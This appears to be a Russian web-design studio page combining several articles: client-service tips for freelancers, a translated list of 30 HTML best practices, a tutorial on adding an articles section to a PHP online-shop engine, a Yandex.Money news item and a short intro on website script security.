Клиент платит нам зарплату

Именно заказчик платит зарплату. Не будет заказов - не будет зарплаты, поэтому нужно делать все возможное для получения новых заказов и для того, чтобы нынешние клиенты возвращались и снова заказывали, а также рекомендовали вас своим друзьям и знакомым. К сожалению, у нас эту простую истину часто не понимают, отсюда и понятие - "ненавязчивый сервис".

Эксклюзивный сервис для эксклюзивных клиентов

Это еще один лозунг компании, в которой я работал во Флориде. Нужно сделать все возможное, чтобы клиент почувствовал, что именно у вас к нему будут лучше всего относиться и именно у вас ему предоставят лучший сервис. В большинстве случаев у человека есть много вариантов, где и у кого заказать услуги. Он в итоге выберет лучший сервис и лучшее к себе отношение, поэтому нужно давать людям то, что они ищут. Если вы не предоставите клиентам то, что они ищут - они уйдут туда, где им это предоставят.

Всегда обращаться на «Вы»

Хотя в английском языке нет понятия «Вы», но в русском этот момент очень важен. Мое мнение - в общении с клиентом всегда нужно обращаться на «Вы» и переходить на «ты» только по инициативе заказчика. Если клиент предлагает перейти на «ты» - переходите без проблем.

Обеспечьте клиента полной контактной информацией

Нужно обеспечить клиента всеми возможными контактными данными, чтобы в случае чего он мог выйти с вами на связь. Для этого идеально подходит добавление в первое письмо заказчику e-mail подписи. Вот пример моей подписи - в ней есть основной и дополнительный e-mail (лучше его сделать на другом сервисе), а также адреса моих основных сайтов (на которых также есть страницы контактов). Кто пользуется ICQ, Skype и другими мессенджерами - их тоже можно указать.

«Прошу Вас сообщить о получении этого письма»

Нужно иметь в виду, что иногда письма не доходят, и не стоит полагаться на 100%, что клиент получил ваше письмо. Во всех важных письмах (о получении оплаты, о том, что вы выслали клиенту свою работу и т.д.) нужно делать пометку, мол, прошу Вас сообщить о получении этого письма. От вас не убудет написать дополнительное предложение, а клиенту будет приятно, что вы заботитесь о том, что он получил нужное письмо. Кроме этого, этот метод позволит избежать ненужного непонимания или конфликтов.

Представьте - вы выслали работу, которую ждет клиент, а он не получил ваше письмо. Вы спокойно живете дальше, наивно полагая, что клиент все получил и доволен, а взамен через несколько дней получаете гневное письмо, в котором заказчик спрашивает, когда же будет готова оплаченная им работа. Согласитесь, логично такие ситуации предотвращать, тем более, что для этого нужно всего лишь одно предложение.

Ничто не ценится так дорого и не дается так дешево, как вежливость

Помню, с раннего детства эту фразу мне говорила моя мама. Вежливость - изумительная вещь, которая обладает поистине волшебными свойствами. Она совершенно бесплатна и одновременно очень эффективна. Все общение с клиентами должно быть основано на вежливости.

К примеру, каждое письмо я подписываю «С уважением, Михаил» независимо от того, пишу я клиенту или просто любому человеку.

После жизни в Америке заметил, что по привычке всегда говорю спасибо продавцам в магазинах, даже если у них суровые лица, на которых считается «Как же вы все мне надоели!». Просто хочу держать себя в спортивной форме в плане вежливости .

Сохраняйте самообладание и спокойствие

Даже если клиент вам не нравится и пытается вывести вас из себя, ни в коем случае нельзя терять самообладание и давать волю эмоциям. Нужно совершенно спокойно и вежливо общаться. Лучше плохой мир, чем хорошая ссора.

Отказывайтесь от вредных клиентов на старте

Есть разновидность заказчиков, которые с первых же писем вам не нравятся. Например, сразу пишут с Вами в пренебрежительном тоне, навязывают свои условия, которые вам не подходят (оплата по результату, требование скидки в 25-50% и т.д.).

Советую с самого начала стараться выявлять таких людей и отказываться от сотрудничества с ними. В итоге вы только выиграете - сбережете нервы и взамен придет адекватный клиент.

Выполняйте заказы в срок

Работа должна делаться в срок. По опыту могу сказать, что лучше сразу дать срок, на несколько дней больший, чем ваш обычный период выполнения заказа. В жизни бывают разные моменты, которые выбивают из обычного жизненного русла - незапланированные поездки, болезни и т.д. Лишняя пара дней всегда вас выручит.

Хотел было написать в предыдущем предложении «отсутствие настроения», но тут же решил, что это не может быть причиной, по которой задерживается выполнение заказа. Есть заказ - его нужно выполнить в срок, а настроение можно при желании всегда можно поднять.

Открытость и прозрачность

Под этой фразой я имею в виду, что в отношении с заказчиками нужна открытость и прозрачность взаимоотношений. Когда человек чувствует, что от него что-то скрывают и умалчивают, то у него возникает подозрение и недоверие. Очень частой причиной недовольства клиентов является то, что заказчик не знает, что именно делается по его заказу и на какой стадии идет процесс.

Нужно постоянно держать клиента в курсе о ходе работы. Достаточно короткого письма - мол, держу Вас в курсе, сегодня делаю то-то и то-то. Когда клиент в курсе мероприятий, которые вы делаете, недоверие исчезает.

Оперативность ответов

Когда человек заплатил вам деньги и стал вашим клиентом, то на его письма нужно отвечать оперативно, делая их самыми приоритетными. Я ни разу не встречал человека, которому бы не нравилось, что на его письма отвечают быстро.

Скидки постоянным клиентам

Если человек заказывает Ваши услуги или размещает рекламу несколько раз, то вполне логично сделать для него скидку. Если клиент только что пришел и заказывает в первый раз, то я считаю, что скидку предоставлять не имеет смысла.

Достаточное количество заказов

Мое мнение - главным приоритетом в работе с клиентами должно быть качество, а не количество. В погоне за количеством качество предоставляемых услуг снижается. Я для себя придумал такое понятие, как «достаточное количество заказов». Для каждого оно свое. Я никогда не беру больше заказов, чем мне нужно, чтобы не снижать качество. Да и когда с утра до ночи вы будете только заниматься выполнением заказов, то радости и удовлетворения не будет.

Помню, когда работал официантом во Флориде, то там было правило - одновременно один официант может обслуживать максимум 4 стола по 4 человека. Во главу угла ставилось именно качество предоставляемых услуг. В недорогих ресторанах вполне реально обслуживать и больше, но при этом качество обслуживания будет уже другим.

По любому вопросу можно договориться

Нужно стремиться договариваться по любым возникающим разногласиям. Все люди разные, к тому же даже одно и то же предложение в письме может быть понято разными людьми по-разному. Если человек вас неправильно понял, то извинитесь и напишите, что именно вы имели в виду.

Могу сказать, что очень полезно в случаях разногласий предлагать различные варианты решения вопросов.

Специализация и никакого нестандарта

Под нестандартом я понимаю те услуги, которые выходят за рамки вашей специализации. Лучше специализироваться на какой-то узкой тематике, чем быть человеком-оркестром. Навыки в разных областях иметь можно и нужно, но предлагать разнообразные услуги в них не стоит.

Согласитесь, что когда человек предлагает услуги по программированию, созданию баннеров, написанию статей, переводам с английского, администрированию сервера, веб-дизайну и продвижению сайтов, то это сразу наводит на мысль, что одновременно во всех этих областях невозможно предлагать услуги высокого качества. Лучше быть узким специалистом.

Когда вам предлагают выполнить нестандартные услуги, которые не входят в перечень предоставляемых вами, лучше отказаться, сославшись на то, что вы специализируетесь на другом. Я несколько раз пробовал предоставлять нестандартные услуги и пришел к выводу, что это не имеет смысла.

Заранее выясните максимум информации

Заранее выясните максимум информации, которая поможет вам в выполнении заказа. Это признак профессионализма. Специалист все выяснит еще до выполнения работы и не будет выяснять банальные вещи по ходу работы.

Желаю вам приятного и взаимовыгодного сотрудничества с вашими клиентами!

30 хороших рекомендаций при работе с HTML

1. Всегда закрывайте тэги

Не так давно совершенно нормально было видеть что-то вроде следующего:

<li>Какой-то текст.
<li>Еще какой-то текст.
<li>Ну вы поняли идею.

Заметьте, что опущены тэги ul/ol. Кроме того, многие оставляют незакрытыми также и тэги li. В соответствии с современными стандартами такое написание - плохая практика и ее стоит избегать. Всегда, всегда закрывайте ваши тэги. В противном случае вы на каждом шагу будете сталкиваться с ошибками валидации.

Лучше:

<ul>
  <li>Какой-то текст.</li>
  <li>Еще какой-то текст.</li>
  <li>Ну вы поняли идею.</li>
</ul>

2: Объявляйте корректный тип документа (DocType)

Когда я был несколько моложе, я участвовал в обсуждениях на форумах, посвященных CSS. Если у какого-либо участника возникала проблема, прежде чем рассматривать его ситуацию, ему необходимо было:

1. Произвести валидацию CSS-файла. Исправить ошибки, если таковые имелись
2. Добавить объявление типа документа (DocType)

"DOCTYPE идет до открывающего тэга html в самом верху страницы и сообщает браузеру о том, содержит ли страница HTML, XHTML, либо смесь данных разметок для того, чтобы браузер мог корректно интерпретировать разметку страницы"

Большинство из нас выбирают из 4 типов при создании страниц:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

Ведутся жаркие дебаты относительно того, что использовать предпочтительнее. С одной стороны, считается наилучшим вариантом использовать версию XHTML Strict. Однако, после некоторых исследований было выяснено, что большинство браузеров "откатываются" назад, к обычному HTML при интерпретации разметки. В связи с этим многие сделали выбор в пользу HTML 4.01 Strict. Основная же идея в том, что выбор любого из данных типов будет держать вас в определенных рамках. Проведите свое решение и определитесь с выбором.

3. Никогда не используйте встроенные стили

Когда вы устали от работы над разметкой, иногда возникает соблазн пойти простым путем и добавить немного встроенных стилей:

<p style="color: red;">I'm going to make this text red so that it really stands out and makes people take notice!</p>

Согласен - выглядит довольно безобидно. Однако это индикатор того, что вы нарушаете хороший тон при кодировании.

Когда вы создаете разметку страницы, ни в коем случае не думайте о стилевом оформлении. Начинайте добавлять стили только после того, как полностью закончите со структурой страницы.

#someElement > p {
  color: red;
}

4. Помещайте все внешние файлы CSS в пределах тэга head

С техничеcкой точки зрения стилевые файлы могут быть подключены в любом месте документа. Однако, спецификация HTML рекомендует делать это в пределах тэга head. Основной выигрыш от этого - более быстрая загрузка страницы.

"Во время исследований в Yahoo! мы обнаружили, что перемещение стилевых файлов в секцию head HTML-документа позволяет ему загружаться быстрее. Это происходит потому, что в этом случае страница отрисовывается постепенно." - ySlow Team

<head>
<title>My Favorites Kinds of Corn</title>
<link rel="stylesheet" type="text/css" media="screen" href="path/to/file.css" />
<link rel="stylesheet" type="text/css" media="screen" href="path/to/anotherFile.css" />
</head>

5. Размещайте скрипты Javascript в конце страницы

Держите в голове главную цель - заставить страницу загружаться как можно быстрее. При загрузке скрипта браузер не может продвигаться дальше, пока файл не будет загружен целиком. Следовательно, посетителю придется ждать дольше, пока он сможет увидеть страницу на экране.

Если у вас есть JS-файлы, чье единственное предназначение - добавление определенного функционала - скажем, при нажатии какой-либо кнопки и т.п. - будьте мудрее и размещайте такие скрипты внизу страницы, прямо перед закрывающим тэгом body. В данном случае это лучшее решение.

<p>And now you know my favorite kinds of corn. </p>
<script type="text/javascript" src="path/to/file.js"></script>
<script type="text/javascript" src="path/to/anotherFile.js"></script>
</body>
</html>

6. Никогда не используйте встроенный Javascript

Другой типичной практикой не так давно было размещение JS-команд непосредственно внутри тэгов. Это часто встречалось в простых галереях фотографий. По сути атрибут onclick применятся к тэгу. Стоит ли говорить, что вы никогда не должны поступать подобным образом. Вместо этого вынесите этот код во внешний JS-файл, и используйте addEventListener/attachEvent для "прослушки" желаемого события. Или, если вы используете фреймворк jQuery, просто используйте метод click.

$('a#moreCornInfoLink').click(function() {
  alert('Want to learn more about corn?');
});

7. Постоянно проводите валидацию

Идея валидации неверно истолковывается теми, кто не понимает ее значения. На самом же деле валидация должна работать на вас, а не против вас.

Новичкам я рекомендую использовать аддон Web Developer Toolbar для Firefox, постоянно выбирая опции Validate HTML и Validate CSS. Несмотря на то, что CSS не очень сложен в освоении, он тоже в состоянии заставить вас рвать себе волосы на голове. Как вы увидите, во многих случаях корявое отображение страницы - следствие неверной разметки. Проверяйте, проверяйте, проверяйте.

8. Скачайте Firebug

Firebug - несомненно, лучший плагин, который вы можете использовать при создании веб-сайтов. Он не только позволяет производить отладку Javascript, вы также узнаете о том, откуда наследуются те странные отступы, о которых вы не подумали.

9. Используйте Firebug!

По своему опыту скажу, что большинство людей используют не более 20% возможностей Firebug. Вы просто-таки оказываете себе медвежью услугу. Не пожалейте пару часов, чтобы порыскать по сети и найти подробное описание функционала этого аддона.

10. Пишите тэги в нижнем регистре

Теоретически, вы можете писать все в верхнем регистре.

<DIV>
<P>Here's an interesting fact about corn. </P>
</DIV>

Но пожалуйста, не делайте этого. Это никуда не годится, и от этого болят глаза, не говоря уже о том, что это напоминает о функции html в Microsoft Word!

Лучше:

<div>
<p>Here's an interesting fact about corn. </p>
</div>

11. Используйте тэги H1 – H6

Примечательно, что именно в этом вопросе я даю слабину. Лучше всего использовать все шесть тэгов. Я же, если честно, использую не больше 4; но я работаю над этим!:) По семантическим причинам и в связи с SEO, заставляйте себя использовать H6 вместо p там, где это уместно.

<h1>This is a really important corn fact! </h1>
<h6>Small, but still significant corn fact goes here. </h6>

12. Оставляйте тэг H1 для названия страницы

Как всегда, определите, что приоритетнее для вашего сайта. Однако, по моему мнению, следует оставлять тэг H1 для заголовка статьи. Особенно актуально это с точки зрения поисковой оптимизации.

13. Скачайте ySlow

Команда Yahoo выпустила расширение для Firebug под названием ySlow. Когда оно активировано, происходит анализ сайта и выдается своеобразный отчет о том, какие части вашего сайта требуют улучшения. Рекомендации могут быть жестковаты, но это все для вашего же блага. Искренне рекомендую.

14. Заключайте навигацию в ненумерованный список

Каждый вебсайт имеет навигацию какого-либо рода. Можно, конечно обойтись чем-то вроде:

<div id="nav">
   <a href="#">Home</a>
   <a href="#">About</a>
   <a href="#">Contact</a>
</div>

Но я не советую использовать такой метод в связи с семантическими причинами. Наша задача - написать код настолько хорошо, насколько это возможно.

Пусть в тэге ul содержится список элементов:

<ul id="nav">
  <li><a href="#">Home</a></li>
  <li><a href="#">About</a></li>
  <li><a href="#">Contact</a></li>
</ul>

15. Научитесь дружить с IE

Несомненно, на каком-то этапе разработки вы обнаружите, что вы вне себя от ярости при попытке добиться нужного отображения в IE. Это реальная проблема веб-разработчиков. Когда в Twitter я читаю о том, как мой приятель борется с Internet Explorer, я улыбаюсь и думаю, "я тебя понимаю, дружище".

Первое, что вам нужно сделать после того, как вы завершили работу над первичным CSS-файлом - это создать новый CSS-файл ie.css. После этого вы сможете подключать его только в том случае, когда это необходимо при помощи следующего кода:

<!--[if lt IE 7]>
   <link rel="stylesheet" type="text/css" media="screen" href="path/to/ie.css" />
<![endif]-->

Код гласит: "Если браузер пользователя - Internet Explorer 6 или ниже, импортируй файл стилей. В противном случае, не делай ничего." Если вам нужно включить в эту группу еще и IE7, просто замените lt (less than - больше, чем) на lte (less than оr equal to - больше, чем или равен).

16. Выберите отличный редактор кода

Работаете ли вы на Windows или на Mac, вы всегда можете найти множество классных редакторов кода, которые придутся по душе именно вам. Для примера приведу список некоторых из программ, которыми вы можете воспользоваться.

Для любителей Mac:

- Coda
- Espresso
- TextMate
- Aptana
- DreamWeaver CS4

Для поклонников PC:

- Notepad++
- Aptana
- PHP Designer
- PSPad
- Dreamweaver CS4

17. Сайт готов? - Сжимаем!

Сжимая ваши CSS и Javascript файлы, вы можете уменьшить их размер примерно на 25%. Не думайте об этом во время разработки. Однако, когда ваш сайт уже почти готов, используйте онлайн-сервисы для сжатия файлов.

Сервисы сжатия Javascript:

- Javascript Compressor
- JS Compressor

Сервисы сжатия CSS-файлов:

- CSS Optimiser
- CSS Compressor
- Clean CSS

18. Отсекайте лишнее!

Вспоминая свой первый вебсайт, я не могу не удивляться. У нас, должно быть, есть природный инстинкт безопасного обертывания каждого параграфа в блок div, после чего, "для верности" этот div помещается в еще один контейнер div. Как вы уже поняли, это чрезвычайно неэффективно.

"Когда вы завершили работу над разметкой страницы, пройдитесь по ней еще пару раз и найдите способы уменьшить количество элементов на странице. Действительно ли необходимо заключать тот список в элемент div? Полагаю, что нет."

19. Всем картинкам нужны атрибуты alt

Очень легко проигнорировать использование атрибута alt для тэга img. Однако, его использование очень важно, как со стороны юзабилити, так и в силу корректного прохождения валидации.

Плохо:

<IMG SRC="cornImage.jpg" />

Лучше:

<img src="cornImage.jpg" alt="A corn field I visited." />

20. Допозна...

Если вы не раз замечали, что во время работы или обучения кромешная тьма за окном сменялась первыми лучами рассвета, то вы выбрали для себя правильное поле деятельности.

Восхитительное чувство "Эврика!" приходит, как правило, поздней ночью. Это - невероятное ощущение, которое нужно испытать, если с вами этого еще не происходило.

21. Изучайте исходный код

Есть ли лучший способ изучения HTML, чем копирование наших героев? Изначально мы все - копипастеры. Затем, постепенно, вы начинаете вырабатывать свой стиль, свои методы. Так что посещайте те вебсайты, которые вызывают у вас уважение. Как они сделали это, как они реализовали то? Учитесь и переносите их код себе. Все мы так делали, и вам следует поступить так же. Важно понимать: вы учитесь создавать структуру страницы, но ни в коем случае не воровать дизайн!

Заметили интересный эффект на Javascript, который вы хотите применить? Скорее всего, здесь используется какой-то плагин. Посмотрите исходный код страницы, секцию head и найдите имя подключаемого файла. Затем - Google и встраивание скрипта в ваш сайт. Примерно так!

22. Применяйте стили ко всем элементам

Этот совет особенно актуален в случае, если вы работаете по заказам. То, что вы не используете тэг blockquote не означает, что ваш клиент тоже этого не делает. Не используете нумерованные списки? - Опять же, не факт, что клиент не делает этого! Окажите себе услугу - создайте специальную страницу, чтобы наглядно продемонстрировать красивое стилевое оформление для каждого существующего элемента: ul, ol, p, h1-h6, blockquotes и т.д.

23. Используйте Twitter

В последнее время едва ли можно скрыться от повсеместного упоминания Twitter даже по телевизору. У меня нет желания слушать то, как Larry King рекламирует свой аккаунт на Twitter - который, как нетрудно догадаться, никогда им самим не обновляется. Браво помощникам! А сколько еще людей завели свои аккаунты, узнав о том, что его кумир теперь на Twitter? Потенциал данного сервиса велик.

Изначально, идея Twitter состояла в том, чтобы писать то, "что я сейчас делаю". Хотя такое применение все еще сохраняется, Twitter получил несколько другое развитие в сети. Если веб-разработчик, которым я восхищаюсь, размещает ссылку на статью, которую он счел для себя полезной, вы не должны удивиться тому, что я также захочу ее изучить, да и вы тоже!

24. Освойте Фотошоп

Как только вы изучите HTML и CSS, я бы рекомендовал вам взяться за обучение Adobe Photoshop.

1. Изучите серию "Вы ноль в Фотошоп"
2. Потратьте несколько часов на то, чтобы освоить как можно больше горячих клавиш в Photoshop.

25. Знайте каждый HTML тэг

Есть много HTML-тэгов, с которыми вы практически не будете встречаться. Тем не менее, это не означает, что вам не нужно их знать! Вы знакомы с тэгом abbr? Как насчет cite? Эти два тэга также имеют полное право занять свое место в вашем наборе инструментов. Изучите их все!

Кстати, если вы не знакомы с двумя вышеназванными тэгами:

- abbr делает как раз то, что вы и ожидали. Он обозначает аббревиатуру. "Blvd" может быть заключен в тэг abbr, так как это сокращение от слова "boulevard" (бульвар).

- cite используется в тех случаях, когда нужно сослаться на название какой-либо работы. Например, если вы ссылаетесь на эту статью со своего блога, вы можете заключить название "30 хороших рекомендаций при работе с HTML" в тэг cite. Заметьте, что его не следует использовать для ссылки на автора цитаты. Это распространенное заблуждение.

26. Участвуйте в тематических сообществах

Вы должны стараться внести свой вклад в развитие знаний о веб-разработке. Наконец-то разобрались, как сделать правильное обтекание элементов? Опубликуйте пост - поделитесь своим опытом! Всегда есть люди, у которых меньше опыта, чем у вас. Не только вы будете отдавать что-то другим - вы сами будете повышать свой уровень. Замечали когда-нибудь, что полное понимание чего-то приходит только после того, как объяснишь это "что-то" кому-то другому?

27. Используйте "обнуление" CSS

Еще одна тема, где разгорались дебаты не на жизнь, а на смерть. "CSS-обнуляторы": использовать, или не использовать, вот в чем вопрос. Что касается моего личного мнения, то я на все 100% рекомендую вам создать такой файл-обнулятор. Начните с использования какого-либо уже существующего популярного варианта, вроде предложенного Eric Meyer и, затем, постепенно, в процессе обучения, доводите его под свои нужды. Если вы не сделаете этого, вы не сможете понять, откуда же у вас появился тот дополнительный отступ у элементов списка, хотя вы ничего не задавали в CSS-файле. Сэкономьте себе нервные клетки и обнулите все! Следующий пример можно взять за основу.

html, body, div, span,
h1, h2, h3, h4, h5, h6, p, blockquote, pre,
a, abbr, acronym, address, big, cite, code,
img, ins, kbd, q, s, samp,
small, strike, strong,
dl, dt, dd, ol, ul, li,
fieldset, form, label, legend,
table, caption, tbody, tfoot, thead, tr, th, td {
	margin: 0;
	padding: 0;
	border: 0;
	outline: 0;
	font-size: 100%;
	vertical-align: baseline;
	background: transparent;
}
body {
	line-height: 1;
}
ol, ul {
	list-style: none;
}
blockquote, q {
	quotes: none;
}
blockquote:before, blockquote:after,
q:before, q:after {
	content: '';
	content: none;
}

table {
	border-collapse: collapse;
	border-spacing: 0;
}

28. Всех в ряд!

Говоря в общем, стремитесь выравнивать элементы настолько хорошо, насколько это возможно. Посмотрите на те дизайны, которые вам нравятся. Обратите внимание на то, как любой заголовок, параграф, иконка, логотип и т.д. гармонируют с остальными элементами на странице. Отсутствие этого - один из основных признаков работы новичка.

Думайте об этом в следующем ключе: Если я спрошу вас, почему вы поместили элемент в это место, вы должны привести мне в ответ вразумительную причину.

29. Нарежьте PSD

Отлично, после получения твердых знаний в HTML, CSS и Фотошопе можно приступать к превращению PSD-макета в реальный сайт. Не беспокойтесь, это не настолько сложно, как можно подумать. Лучшего способа проверить ваши умения и не придумать. Если вам нужна помощь, изучите следующие видео, в которых данная процедура показана полностью:

- Slice and Dice that PSD
- From PSD to HTML/CSS

30. Не используйте фреймворк... Пока

Фреймворки для Javascript и CSS - это очень хорошо. Но, пожалуйста, не используйте их, когда вы только начинаете свой путь в разработке. Хотя можно возразить, что изучение jQuery и Javascript дополняют друг друга, нельзя сказать того же о CSS-фреймворках. Я, например, использую фреймворк 960 CSS Framework. Если же вы находитесь в процессе изучения CSS, воздержитесь от использования подобных вещей - иначе вы рискуете полностью запутаться.

CSS-фреймворки создаются для опытных разработчиков, которым нужно сэкономить немного времени. Они не для новичков.

Jeffrey Way
По материалам www.net.tutsplus.com
Перевод - Дмитрий Науменко

Создание сайта | Поддержка сайтов | Контекстная реклама | Раскрутка сайта | Оптимизация сайта

1. Файл .htaccess, добавляем строчки:
RewriteRule ^articles\.html$ index.php?articles=yes [L]
RewriteRule ^show_articles_([0-9]+)\.html$ index.php?fullarticles=$1 [L]
Обрати внимание на articles и fullarticles. Дальше ты их увидишь.

2. Создаем в БД таблицу аналогичную по структуре новостям (news_table)  articles_table (не забываем о префиксе БД).

-- Структура таблицы `articles_articles`
DROP TABLE IF EXISTS `articles_table`;
CREATE TABLE IF NOT EXISTS `articles_table` (
  `NID` int(11) NOT NULL AUTO_INCREMENT,
  `add_date` date DEFAULT NULL,
  `title` text,
  `textToPrePublication` text,
  `textToPublication` mediumtext,
  `textToMail` text,
  `add_stamp` int(11) DEFAULT NULL,
  PRIMARY KEY (`NID`)
) ENGINE=InnoDB  DEFAULT CHARSET=cp1251 AUTO_INCREMENT=0 ;
COMMIT;
 

3. Вносим изменения в файл core/config/tables.inc.php: находим
if ( !defined('NEWS_TABLE') )
{
define('NEWS_TABLE', 'sun_news_table');

и копируем - меняем - добавляем, и  получаем
if(!defined('ARTICLES_TABLE'))
{
define('ARTICLES_TABLE', 'articles_table');
}

4. core/languages/russian.php - тут все копируем, что касалось новостей и переименовываем, например: define('ADMIN_ARTICLES', 'Статьи');

5. setting_constants.sql  добавляем

insert into SETTINGS_TABLE (settings_groupID, settings_constant_name, settings_value, settings_title, settings_description, settings_html_function, sort_order) VALUES (2, 'CONF_ARTICLES_COUNT_IN_CUSTOMER_PART', '3', 'Количество записей в блоках статей', 'Пожалуйста, укажите, сколько ссылок показывать в блоках статей магазина.', 'setting_TEXT_BOX(2,', 11);
insert into SETTINGS_TABLE (settings_groupID, settings_constant_name, settings_value, settings_title, settings_description, settings_html_function, sort_order) VALUES (2, 'CONF_ARTICLES_COUNT_IN_ARTICLES_PAGE', '10', 'Количество записей на странице статей', 'Пожалуйста, укажите, сколько последних статей показывать на странице с аннотациями', 'setting_TEXT_BOX(2,', 12);

insert into BLOCKS_TABLE (title, content, bposition, active, which, sort, html, url, admin, about, pages, dpages, categories, products) VALUES ('Статьи', '', 4, 1, 0, 9, 1, 'articles.tpl.html', 0, 'Краткий блок статей. Без вывода краткого текста статьи.', 'a:0:{}', 'a:0:{}', 'a:0:{}', 'a:0:{}');
insert into BLOCKS_TABLE (title, content, bposition, active, which, sort, html, url, admin, about, pages, dpages, categories, products) VALUES ('Обзор статей', '', 2, 0, 1, 17, 1, 'articles_center.tpl.html', 0, 'Центральный блок статей. Выводит заголовок и краткое описание статьи.', 'a:1:{i:0;s:13:"home.tpl.html";}', 'a:0:{}', 'a:0:{}', 'a:0:{}');

6. core/functions/news_function.php копируем в core/functions/articles_function.php

В нем хранятся все функции по работе с новостями(для нас уже будут для работы со статьями), в этом файле (articles_function.php) переименовываем функции, например так:
было function newsGetNewsToCustomer() стало articlesGetArticlesToCustomer(), не забываем также о константах в файле, их нужно так же переименовать, например, NEWS_TABLE переименовываем на ARTICLES_TABLE (эта константа у нас нами была прописана в core/config/tables.inc.php). В принципе, во всех файлах, что я правил я заменял news на articles, для унификации так сказать.

7. Копируем core/includes/news.php в core/includes/articles.php . Правим его (переименовываем функции, константы, переменные). Именно этот скрипт и отвечает за обработку темплейтов статей (потом скопируем и их show_articles.tpl.html, show_full_articles.tpl.html). В этом же скрипте указаны имена GET POST переменных (см. выше .htaccess)!!!!!!! они сквозные по всему движку (articles, fullarticles)
ну и т.д.

8. И чтоб добавить в админку - core/tpl/admin/menu.tpl.html
после 501 строчки (примерно так <div class="dvmenu">
<table class="adn"><tr><td><img src="data/admin/drs.gif" alt=""></td><td width="100%"><a href="{$smarty.const.ADMIN_FILE}?dpt=modules&amp;sub=news">{$smarty.const.ADMIN_NEWS}</a></td></tr></table> ) добавляем

<table class="adn"><tr><td><img src="data/admin/drs.gif" alt=""></td><td width="100%"><a href="{$smarty.const.ADMIN_FILE}?dpt=modules&amp;sub=articles">{$smarty.const.ADMIN_ARTICLES}</a></td></tr></table>

9. core/includes/admin/modules.php добавляем так чтоб получилось:

$admin_dpt = array(
"id" => "modules", //department ID
"sort_order" => 40, //sort order (less `sort_order`s appear first)
"name" => ADMIN_MODULES, //department name
"sub_departments" => array
(
array("id"=>"news", "name"=>ADMIN_NEWS),
array("id"=>"articles", "name"=>ADMIN_ARTICLES),
array("id"=>"survey", "name"=>ADMIN_VOTING),
array("id"=>"shipping", "name"=>ADMIN_STRING_SHIPPING_MODULES),
array("id"=>"payment", "name"=>ADMIN_STRING_PAYMENT_MODULES),
array("id"=>"linkexchange", "name"=>ADMIN_STRING_MODULES_LINKEXCHANGE),
array("id"=>"yandex", "name"=>"Яндекс.Маркет" )
)
);
add_department($admin_dpt);

И т.д. и т.п.
В темплайтах тоже самое творим.

10. core\tpl\admin\modules_articles.tpl.html

11. core\includes\head.php после строки 25

elseif (isset($_GET["fullnews"]))  //  fullnews => get title ....

добавить по аналогии

        elseif (isset($_GET["fullarticles"]))  //  fullarticles => get title
        {
                $fullnews_array_head = articlesGetFullArticlesToCustomer($_GET["fullarticles"]);
                        if ($fullnews_array_head["title"]) $page_title = $fullnews_array_head["title"].". ".CONF_SHOP_NAME;
                        else $page_title =  CONF_DEFAULT_TITLE.". ".CONF_SHOP_NAME;
                                $meta_tags = "";
                                if  ( CONF_HOMEPAGE_META_DESCRIPTION != "" )
                                        $meta_tags .= "<meta name=\"description\" content=\"".CONF_HOMEPAGE_META_DESCRIPTION."\"/>\n";
                                if  ( CONF_HOMEPAGE_META_KEYWORDS != "" )
                                        $meta_tags .= "<meta name=\"keywords\" content=\"".CONF_HOMEPAGE_META_KEYWORDS."\"/>\n";
        }
это для SEO

создание интернет магазина

«Яндекс.Деньги» запустили услугу, позволяющую пополнить счет в этой платежной системе с помощью пластиковой карты любого банка, рассказала на пресс-конференции в среду заместитель генерального директора компании Наталья Хайтина.

Свой счет в «Яндекс.Деньгах» пользователи теперь могут пополнять с пластиковой карты любого российского банка. Пополнение будет мгновенным, а комиссия составит 3,25%. Раньше у сервиса было несколько совместных проектов - например, с «Росевробанком», «КБ Открытие» и «Альфа-Банком». В рамках этих проектов перевод денег с банковского счета на счет в платежной системе бесплатен.

«С помощью «Яндекс.Денег» можно совершать покупки, не вставая с кресла, — рассказывает Евгения Завалишина, генеральный директор «Яндекс.Денег». — А вот чтобы положить деньги на счёт, нужно было дойти до терминала, банкомата или киоска, где продаются карты предоплаты. Пополнить счёт через интернет могли только клиенты нескольких банков — партнёров «Яндекс.Денег». Теперь для миллионов владельцев банковских карт система «Яндекс.Деньги» стала полностью онлайновой».

В настоящее время для пополнения кошелька в "Яндекс.Деньги" принимаются банковские карты любых банков, которые разрешают проводить платежи через интернет. Однако пользователю предварительно необходимо "привязать" банковскую карту к счету в "Яндекс.Деньги" с помощью банкомата "Альфа-банка", после чего он получит чек с номером транзакции. Данным номером подтверждается "привязка" карты к кошельку. Сама "привязка" - это бесплатная услуга, а вот при каждом занесении средств на счет "Яндекс.Деньги" взимается комиссия в размере 3,25% от суммы перевода. Максимальная сумма перевода составляет 30 тыс. рублей.

В компании рассчитывают, что оборот платежной системы после введения новой услуги увеличится на 2 млрд. рублей, именно столько составляет оборот перевода денег с карт "Альфа-банка" на электронные кошельки "Яндекс.Деньги" за 14 месяцев.

Платёжной системой «Яндекс.Деньги» пользуются более 6 миллионов человек по всей России. Каждый день в Яндекс.Деньгах открывается более 6 тысяч счетов, совершается более 80 тысяч транзакций. К примеру Яндекс.Деньгами можно оплатить создание сайта

Все, начиная от простых пользователей, заканчивая директорами крупных предприятий, хорошо понимают, что наступление Internet на повседневную жизнь неизбежно. И очень немногие организации еще не имеют или, как минимум, не задумывались иметь свою страничку во всемирной сети. И каждый, кто отважился на этот вынужденный шаг, становится перед выбором: сделать статичную, никому неинтересную страницу, или же создать сайт  - достойный, интерактивный с динамическим содержимым.

Если вы делаете выбор в пользу динамичности, то вы станете перед выбором номер два: кто и как будет писать программную составляющую проекта?

Довольно часто на выбор скриптов для сайта влияет их доступность, популярность и... бесплатность (или ценовая политика производителя). Однако, в основу своего выбора наряду с внешним удобством использования и популярностью необходимо поставить и еще один немаловажный фактор: безопасность.

